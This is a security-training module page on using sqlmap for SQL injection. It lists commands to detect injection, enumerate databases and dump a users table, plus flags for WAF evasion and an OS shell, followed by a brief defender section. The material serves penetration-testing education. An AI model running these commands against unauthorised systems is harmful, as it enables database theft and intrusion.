Last updated: April 29, 2026
Why this module. sqlmap automates 80% of SQLi work. Mastering it means going from “I think this is injectable” to “here’s the database dump” in 15 minutes.
The base workflow
# Detect
sqlmap -u "https://target.com/page?id=1" --batch --level=3 --risk=2
# Confirm with banner
sqlmap -u "https://target.com/page?id=1" --batch --banner
# Enumerate
sqlmap -u "https://target.com/page?id=1" --batch --dbs
sqlmap -u "https://target.com/page?id=1" --batch -D target_db --tables
sqlmap -u "https://target.com/page?id=1" --batch -D target_db -T users --dump
Useful flags
--level=N(1-5) — how deep sqlmap searches; higher = slower, more thorough--risk=N(1-3) — how aggressive (3 = potentially destructive)--tamper=script.py— WAF evasion (space2comment, charencode, between)--cookie="session=..."— authenticated testing--data="user=&pass="— POST testing--proxy=http://127.0.0.1:8080— through Burp--os-shell— when DB allows command execution
WAF bypasses
Tampers like space2hash, charunicodeencode, randomcase work for typical WAFs. Combine: --tamper=space2comment,between.
After access
- Stop. SQLi is normally a finding to report — not exploit further.
- For authorised pentests: enumerate users, find privileged accounts, try lateral pivot via OS shell.
Defender
WAF + parameterised queries + ORMs + audit log on long-running queries. SQLi blocked at multiple layers.
Module Quiz · 6 questions
Pass with 80%+ to mark this module complete. Unlimited retries. Each question shows an explanation.
Custom team training + practitioner advisory
Beyond the free academy — we run private workshops, vCISO advisory, and red-team exercises tailored to your stack. For Indian SMBs scaling past their first hire.